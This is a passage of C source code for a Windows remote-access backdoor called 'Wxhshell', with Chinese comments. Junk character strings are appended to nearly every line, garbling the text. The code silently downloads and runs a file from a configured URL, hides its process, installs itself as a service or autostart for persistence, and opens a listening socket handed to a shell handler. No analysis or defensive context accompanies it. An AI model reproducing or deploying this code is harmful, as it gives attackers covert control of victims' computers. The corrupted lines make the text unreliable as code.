ULONG UniqueProcessId; 7:U ^Ki
ULONG InheritedFromUniqueProcessId; G#ov2
} PROCESS_BASIC_INFORMATION; Cf`s:A5<J
]/!#:
PROCNTQSIP NtQueryInformationProcess; .jRp.U
etdI:N*x
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; UQ#"^`=R<
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ql5NSQ>{
75~>[JM
HANDLE hProcess; ffK A
PROCESS_BASIC_INFORMATION pbi; x^kV;^ I
5V&3m@d0aq
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); <syMrXk)R(
if(NULL == hInst ) return 0; d\}r.pD
0
;$[
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); <6`_Xr7)
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ?yfk d:WD
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); [*U6L<JI
T] d9tX-
if (!NtQueryInformationProcess) return 0; h#9X0u7j
[z$th
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); OD!b*Iy|
if(!hProcess) return 0; 4y&%YLMpl
Jrd:6Z
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ${^WM}N
59:Xu%Hp
CloseHandle(hProcess); c%_I|h<?iT
UD`bK a`E
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); RiC1lCE
if(hProcess==NULL) return 0; LutP&Ebt8
"ewSh<t
HMODULE hMod; Fyy)665x/
char procName[255]; A+*M<W
unsigned long cbNeeded; d@~Hp?
_,:gSDW|
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); VSa\X~
?sV0T)uk
CloseHandle(hProcess); )IQa]A
A{mv[x-XN
if(strstr(procName,"services")) return 1; // 以服务启动 BtS#I[-p_
5q<AMg
return 0; // 注册表启动 Lu!o!>b
} :B?C~U k
jovI8Dw
>
// 主模块 UN'[sHjOnD
int StartWxhshell(LPSTR lpCmdLine) 6('2.^8
{ ?zW4|0
SOCKET wsl; xMNUyB{?
BOOL val=TRUE; _oK*1#Rm8
int port=0; /?<o?IR~6
struct sockaddr_in door; H'E(gc)>)
$s-/![
6
if(wscfg.ws_autoins) Install(); VWqmqR%
)
-x0xY
port=atoi(lpCmdLine); f0+)%gO{
&GF@9BXI3
if(port<=0) port=wscfg.ws_port; zil^^wT0J
hw/:
WSADATA data; ]cvP !
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; }t }y
nen(
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; +6tj
w 6
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); $'FPsoH
door.sin_family = AF_INET; Y=+pz^/"
door.sin_addr.s_addr = inet_addr("127.0.0.1"); UfcQFT{()
door.sin_port = htons(port); M:6Yy@#T.
Vx$ ?)&
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { H&`0I$8m
closesocket(wsl); fz'@ON
return 1; cKt=_4Lf
} 7M;7jI/C
yO\.dp
if(listen(wsl,2) == INVALID_SOCKET) { -\C;2&(
closesocket(wsl); r:fMd3;gq
return 1; &`+tWL6L
} gXZl3
Wxhshell(wsl); hKo& ZWPq
WSACleanup(); yf3c-p
<4r3ZV;'
return 0; E(]39B"i
}pqnF53
} 6v(?Lr`D
1vw[{.wC
// 以NT服务方式启动 z2'3P{#s
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) aQzDOeTi
{ 4eOS+&
DWORD status = 0; (JV [7u -
DWORD specificError = 0xfffffff; ZBYFQTEE
[X K^3pT_
serviceStatus.dwServiceType = SERVICE_WIN32;
XdS&s}J[I
serviceStatus.dwCurrentState = SERVICE_START_PENDING; {/|RKV83
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; x_Y03__/
serviceStatus.dwWin32ExitCode = 0; F/33#
U
serviceStatus.dwServiceSpecificExitCode = 0; VZhtx)
serviceStatus.dwCheckPoint = 0; (R^X3
serviceStatus.dwWaitHint = 0; +S/OMkC
EjxzX1:
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); r{oRN
if (hServiceStatusHandle==0) return; *?Hc8y-dG,
aY:u-1
status = GetLastError(); 5dwC~vn}c
if (status!=NO_ERROR) hO8~Rg
{ haNi[|
serviceStatus.dwCurrentState = SERVICE_STOPPED; 2>`m1q:
serviceStatus.dwCheckPoint = 0; cg`bbZ
serviceStatus.dwWaitHint = 0; h"O4r8G}
serviceStatus.dwWin32ExitCode = status; >JOEp0J
serviceStatus.dwServiceSpecificExitCode = specificError; cX~J6vNy5
SetServiceStatus(hServiceStatusHandle, &serviceStatus); a6Zg~>vX
return; j_]#Ew\q
} r xlKoa
GnT Cq_\
serviceStatus.dwCurrentState = SERVICE_RUNNING; )>-94xx|
serviceStatus.dwCheckPoint = 0; D1G9^7:^E
serviceStatus.dwWaitHint = 0; wz[Xay9jW
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); rnNB!T
} :{7gZ+*
?rauhTVnJ
// 处理NT服务事件,比如:启动、停止 @J~hi\&`
VOID WINAPI NTServiceHandler(DWORD fdwControl) \3K%>
{ Twq/Y07M
switch(fdwControl) -!Ov{GHr0
{ y6#AL<W@=
case SERVICE_CONTROL_STOP: 2g0_[$[m
serviceStatus.dwWin32ExitCode = 0; xlKg0&D
serviceStatus.dwCurrentState = SERVICE_STOPPED; mCb1^Y
serviceStatus.dwCheckPoint = 0; `2
6t+Tb
serviceStatus.dwWaitHint = 0; J_-K"T|f
{ {KQ]"a 6
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 85e!)I_
} {pJf~
return; v?6g.
[;?
case SERVICE_CONTROL_PAUSE: {wK|C<K
serviceStatus.dwCurrentState = SERVICE_PAUSED; czG]rl\1
break; *3R3C+
L
case SERVICE_CONTROL_CONTINUE: OV>JmYe1{/
serviceStatus.dwCurrentState = SERVICE_RUNNING; NC@L,)F
break; ^uCZO
case SERVICE_CONTROL_INTERROGATE: -d+o\qp"#
break; d
U}kimz
}; yq6Gyoi<
SetServiceStatus(hServiceStatusHandle, &serviceStatus); TmEJ!)*
} DH IC:6EY
G*N}X3H:o
// 标准应用程序主函数 ==!k99`f,
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) h85kQ^%
{ %+8"-u
cPp<+ ts
// 获取操作系统版本 z79c30y]"
OsIsNt=GetOsVer(); +H**VdM6s
GetModuleFileName(NULL,ExeFile,MAX_PATH); %3kS;AaA
Y[~Dj@Q<
// 从命令行安装 zm~sq_=^
if(strpbrk(lpCmdLine,"iI")) Install(); %mF Z!(
"h\ (a<
// 下载执行文件 r,8~qHbOT
if(wscfg.ws_downexe) { lnQfpa8j
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 9]4 W
WinExec(wscfg.ws_filenam,SW_HIDE); qmy3pnL
} 4Pv Pp{Y
gcI?)F
if(!OsIsNt) { bnzIDsw!Q
// 如果时win9x,隐藏进程并且设置为注册表启动 !,Uzt1K:
HideProc(); v\ <4y P
StartWxhshell(lpCmdLine); O[<YYL0
}
Neb")
else [sc4ULS &
if(StartFromService()) %=*nJvYS
// 以服务方式启动 *]K/8MbiF
StartServiceCtrlDispatcher(DispatchTable); o=)["V
else <FofRFaS
// 普通方式启动 uXuA4o$t-
StartWxhshell(lpCmdLine); @3v[L<S{
EvGKcu
return 0; D/oO@;`'c
}